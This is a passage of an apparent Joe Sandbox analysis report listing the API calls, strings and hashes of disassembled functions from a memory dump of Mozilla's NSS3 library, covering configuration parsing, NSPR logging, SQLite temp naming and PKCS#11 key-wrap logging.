PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6C78605A
PR_smprintf.NSS3(6C85AAF9,00000000), ref: 6C78606A
free.MOZGLUE(00000000), ref: 6C78607C
free.MOZGLUE(00000000), ref: 6C78609A
free.MOZGLUE(00000000), ref: 6C7860B2
free.MOZGLUE(?), ref: 6C7860CE

Strings

readOnly, xrefs: 6C785E56
flags, xrefs: 6C785E3A, 6C785EC6, 6C785F30
forceSecmodChoice, xrefs: 6C785F55
configDir=, xrefs: 6C785F9D
secmod=, xrefs: 6C785FB1
secmod.db, xrefs: 6C785EA0
noModDB, xrefs: 6C785EEA
%s/%s, xrefs: 6C786055
pkcs11.txt, xrefs: 6C785F47, 6C785F7C, 6C78603A, 6C786053

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 64fec2e55a01c4cc233c4b226a43e609fe3c7cdbd8f34a55628d051012ad6800
Instruction ID: 7c58dfa72b08b05140ec4b39570e809cd81ee9bacae15b64f79f5dd39bcfbeda
Opcode Fuzzy Hash: 64fec2e55a01c4cc233c4b226a43e609fe3c7cdbd8f34a55628d051012ad6800
Instruction Fuzzy Hash: EB9108F49062116BFF518F24EE89BAA3BA89F0524CF080470EE56DBB42E771D514C7B2

Function 6C711D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C711DA3

Part of subcall function 6C7E98D0: calloc.MOZGLUE(00000001,00000084,6C710936,00000001,?,6C71102C), ref: 6C7E98E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C711DB2

Part of subcall function 6C711240: TlsGetValue.KERNEL32(00000040,?,6C71116C,NSPR_LOG_MODULES), ref: 6C711267
Part of subcall function 6C711240: EnterCriticalSection.KERNEL32(?,?,?,6C71116C,NSPR_LOG_MODULES), ref: 6C71127C
Part of subcall function 6C711240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C71116C,NSPR_LOG_MODULES), ref: 6C711291
Part of subcall function 6C711240: PR_Unlock.NSS3(?,?,?,?,6C71116C,NSPR_LOG_MODULES), ref: 6C7112A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C711DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C711E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C711EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C711ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C711EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C711F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C711F34
PR_SetLogBuffering.NSS3(00004000), ref: 6C711F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C711F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C711F83
PR_SetLogFile.NSS3(00000000), ref: 6C711FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C711FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C711FCB
free.MOZGLUE(00000000), ref: 6C711FD2

Strings

Unable to create nspr log file '%s', xrefs: 6C711FB3
, %n, xrefs: 6C711E6B
bufsize, xrefs: 6C711E9B
NSPR_LOG_FILE, xrefs: 6C711F69
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C711E27
append, xrefs: 6C711EE6
timestamp, xrefs: 6C711EC4
NSPR_LOG_MODULES, xrefs: 6C711DAD
sync, xrefs: 6C711E46
all, xrefs: 6C711F0E

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 5ac95dc37b7201ad0f19423c3cf75efce0593217f25b0204f49a39c4665fbbbc
Instruction ID: c0f450891009897a1f18e63c447a59ea35591d0466e193adc4bad202fda3635f
Opcode Fuzzy Hash: 5ac95dc37b7201ad0f19423c3cf75efce0593217f25b0204f49a39c4665fbbbc
Instruction Fuzzy Hash: 70517BB1E092199BDB10DBE5CE48A9E77B8AF16309F080938E8199BE41F771D518CB91

Function 6C7F6E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6ACA30: EnterCriticalSection.KERNEL32(?,?,?,6C70F9C9,?,6C70F4DA,6C70F9C9,?,?,6C6D369A), ref: 6C6ACA7A
Part of subcall function 6C6ACA30: LeaveCriticalSection.KERNEL32(?), ref: 6C6ACB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C6BBE66), ref: 6C7F6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C6BBE66), ref: 6C7F6E98
sqlite3_snprintf.NSS3(?,00000000,6C85AAF9,?,?,?,?,?,?,6C6BBE66), ref: 6C7F6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C6BBE66), ref: 6C7F6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C6BBE66), ref: 6C7F6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C6BBE66), ref: 6C7F6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C6BBE66), ref: 6C7F6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C6BBE66), ref: 6C7F6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C6BBE66), ref: 6C7F6FA6
sqlite3_snprintf.NSS3(?,00000000,6C85AAF9,00000000,?,?,?,?,?,?,?,6C6BBE66), ref: 6C7F6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C6BBE66), ref: 6C7F6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6BBE66), ref: 6C7F6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C6BBE66), ref: 6C7F7014
sqlite3_free.NSS3(00000000,?,?,?,?,6C6BBE66), ref: 6C7F701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C6BBE66), ref: 6C7F7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C6BBE66), ref: 6C7F705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C6BBE66), ref: 6C7F7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C6BBE66), ref: 6C7F7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C6BBE66), ref: 6C7F70A0

Strings

mz_etilqs_, xrefs: 6C7F6F18
winGetTempname1, xrefs: 6C7F708F
winGetTempname4, xrefs: 6C7F7046
winGetTempname5, xrefs: 6C7F7071
winGetTempname2, xrefs: 6C7F70C4

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 813bc3913e8c408e6c5644a6f937d2ba2cd72c1afe5d3f6de565e118b9f71127
Instruction ID: ea26aeb45743de866cbb0091631f7bd733225b4c85f3ee986d8bc47c924d72f9
Opcode Fuzzy Hash: 813bc3913e8c408e6c5644a6f937d2ba2cd72c1afe5d3f6de565e118b9f71127
Instruction Fuzzy Hash: B0518B72A0411127E31096749D99FBB366AAF8331CF140938E92596BC2FB22991FC2D6

Function 6C758E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C758E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C758EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C758EB3

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C758EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C758EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C758F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C758F29
PR_LogPrint.NSS3(?,00000000), ref: 6C758F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C758F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C758F80
PR_LogPrint.NSS3(?,00000000), ref: 6C758F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C758FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C758FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C759047

Strings

C_WrapKey, xrefs: 6C758E71
pWrappedKey = 0x%p, xrefs: 6C758FAD
pulWrappedKeyLen = 0x%p, xrefs: 6C758FC8
(CK_INVALID_HANDLE), xrefs: 6C758EAC, 6C758F1F, 6C758F79
*pulWrappedKeyLen = 0x%x, xrefs: 6C759042
hKey = 0x%x, xrefs: 6C758F5B, 6C758F6B
hWrappingKey = 0x%x, xrefs: 6C758F01, 6C758F11
hSession = 0x%x, xrefs: 6C758E8E, 6C758E9E
pMechanism = 0x%p, xrefs: 6C758EE0

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: b0fdd9b0a12779c0a94fa299c20052ec8df636c7019f22521b94ddbed790ce92
Instruction ID: 5e2aa12964fcad9e55543eefd1bc6b907c47e2fbb75521458bb2c48682d72b87
Opcode Fuzzy Hash: b0fdd9b0a12779c0a94fa299c20052ec8df636c7019f22521b94ddbed790ce92
Instruction Fuzzy Hash: 5951F535652114ABCB208F48DF4CF9E3776AB4630CF448836F90867B12DB35A828CBD1

Function 6C784C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C774F51,00000000), ref: 6C784C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C774F51,00000000), ref: 6C784C5B
PR_smprintf.NSS3(6C85AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C774F51,00000000), ref: 6C784C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C774F51,00000000), ref: 6C784CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C784CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C784CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C784D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C774F51,00000000), ref: 6C784D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C774F51,00000000), ref: 6C784D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C784D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C784DA2
free.MOZGLUE(?), ref: 6C784DB9
free.MOZGLUE(00000000), ref: 6C784DCF

Strings

%s,%s, xrefs: 6C784C4B
ootT, xrefs: 6C784D1A
any, xrefs: 6C784C96
0x%08lx=[%s %s], xrefs: 6C784D80
rust, xrefs: 6C784D22
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C784D9D
timeout, xrefs: 6C784C91
rootFlags, xrefs: 6C784D47
slotFlags, xrefs: 6C784D34
every, xrefs: 6C784CA1

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 4c577ae9541ad0a303e24126d17ae76be5b49d76ec4464a977f5d6802e2dc8f5
Instruction ID: 263ff6f34811d1faad4220cd2ae4cedc5a3296f6e2f2479fc2a92c7ff5ef708a
Opcode Fuzzy Hash: 4c577ae9541ad0a303e24126d17ae76be5b49d76ec4464a977f5d6802e2dc8f5
Instruction Fuzzy Hash: D341ADF190114167DB225F189E496BE766DAF9230CF544134EA090B702E7B1D824D7F3

Function 6C766CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C766910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C766943
Part of subcall function 6C766910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C766957
Part of subcall function 6C766910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C766972
Part of subcall function 6C766910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C766983
Part of subcall function 6C766910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C7669AA
Part of subcall function 6C766910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C7669BE
Part of subcall function 6C766910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C7669D2
Part of subcall function 6C766910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C7669DF
Part of subcall function 6C766910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C766A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C766D8C
free.MOZGLUE(00000000), ref: 6C766DC5
free.MOZGLUE(?), ref: 6C766DD6
free.MOZGLUE(?), ref: 6C766DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C766E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C766E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C766E72
free.MOZGLUE(?), ref: 6C766EA7
free.MOZGLUE(?), ref: 6C766EC4
free.MOZGLUE(?), ref: 6C766ED5
free.MOZGLUE(00000000), ref: 6C766EE3
free.MOZGLUE(?), ref: 6C766EF4
free.MOZGLUE(?), ref: 6C766F08
free.MOZGLUE(00000000), ref: 6C766F35
free.MOZGLUE(?), ref: 6C766F44
free.MOZGLUE(?), ref: 6C766F5B
free.MOZGLUE(00000000), ref: 6C766F65

Part of subcall function 6C766C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C76781D,00000000,6C75BE2C,?,6C766B1D,?,?,?,?,00000000,00000000,6C76781D), ref: 6C766C40
Part of subcall function 6C766C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C76781D,?,6C75BE2C,?), ref: 6C766C58
Part of subcall function 6C766C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C76781D), ref: 6C766C6F
Part of subcall function 6C766C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C766C84
Part of subcall function 6C766C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C766C96
Part of subcall function 6C766C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C766CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C766F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C766FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C766FF4

Strings

+`wl, xrefs: 6C766D0D

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`wl
API String ID: 1304971872-987430465
Opcode ID: ebd9b411163aa8c1fe0e6ba0b5166579aee8e60b0c34ce2ca5ba72c21e1d0ed9
Instruction ID: dc2b9d719a174224da81b7e74207f3c98595c367f3d9878eaa66911f0f34a908
Opcode Fuzzy Hash: ebd9b411163aa8c1fe0e6ba0b5166579aee8e60b0c34ce2ca5ba72c21e1d0ed9
Instruction Fuzzy Hash: 43B15CB0E012199BDF11CBA6DA49B9EBBB8BF05349F540135EC15E7E01E731EA14CBA1

Function 6C72DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C72DDDE

Part of subcall function 6C780FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7287ED,00000800,6C71EF74,00000000), ref: 6C781000
Part of subcall function 6C780FF0: PR_NewLock.NSS3(?,00000800,6C71EF74,00000000), ref: 6C781016
Part of subcall function 6C780FF0: PL_InitArenaPool.NSS3(00000000,security,6C7287ED,00000008,?,00000800,6C71EF74,00000000), ref: 6C78102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C72DDF5

Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C7810F3
Part of subcall function 6C7810C0: EnterCriticalSection.KERNEL32(?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78110C
Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781141
Part of subcall function 6C7810C0: PR_Unlock.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781182
Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C72DE34
PR_Now.NSS3 ref: 6C72DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C72DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C72DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C72DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C72DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C72DEF0
PR_smprintf.NSS3(6C85AAF9,(NULL) (Validity Unknown)), ref: 6C72DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C72DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C72DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C72DF33
free.MOZGLUE(00000000), ref: 6C72DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C72DF4B
free.MOZGLUE(00000000), ref: 6C72DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C72DF8E

Strings

%s%s, xrefs: 6C72DEEB
{???}, xrefs: 6C72DE8B
(NULL) (Validity Unknown), xrefs: 6C72DEFA

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 168341e0fb0caa8016874c5c5cdb413c84356a35e8e3e9240d93c0576785cfd1
Instruction ID: 3c763201f876aa4b93718267ce552292068ee15f7ad5bb45b18c52bb97fc30e4
Opcode Fuzzy Hash: 168341e0fb0caa8016874c5c5cdb413c84356a35e8e3e9240d93c0576785cfd1
Instruction Fuzzy Hash: F55103B1E001159BDB20DE658E49AAF7AF8AF95358F144438E818E7B00E735DD04CBE6

Function 6C762D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C762DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C762E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C762E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C762E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C734F1C,?,-00000001,00000000,?), ref: 6C762E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C734F1C,?,-00000001,00000000), ref: 6C762E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C762EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C762EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C762EF8
PR_Unlock.NSS3(?), ref: 6C762F62
TlsGetValue.KERNEL32 ref: 6C762F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C762F9E
PR_Unlock.NSS3(?), ref: 6C762FCA
TlsGetValue.KERNEL32 ref: 6C76301A
EnterCriticalSection.KERNEL32(?), ref: 6C76302E
PR_Unlock.NSS3(?), ref: 6C763066
PR_SetError.NSS3(00000000,00000000), ref: 6C763085
PR_Unlock.NSS3(?), ref: 6C7630EC
TlsGetValue.KERNEL32 ref: 6C76310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C763124
PR_Unlock.NSS3(?), ref: 6C76314C

Part of subcall function 6C749180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C77379E,?,6C749568,00000000,?,6C77379E,?,00000001,?), ref: 6C74918D
Part of subcall function 6C749180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C77379E,?,6C749568,00000000,?,6C77379E,?,00000001,?), ref: 6C7491A0

Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107AD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107CD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107D6
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6A204A), ref: 6C7107E4
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,6C6A204A), ref: 6C710864
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C710880
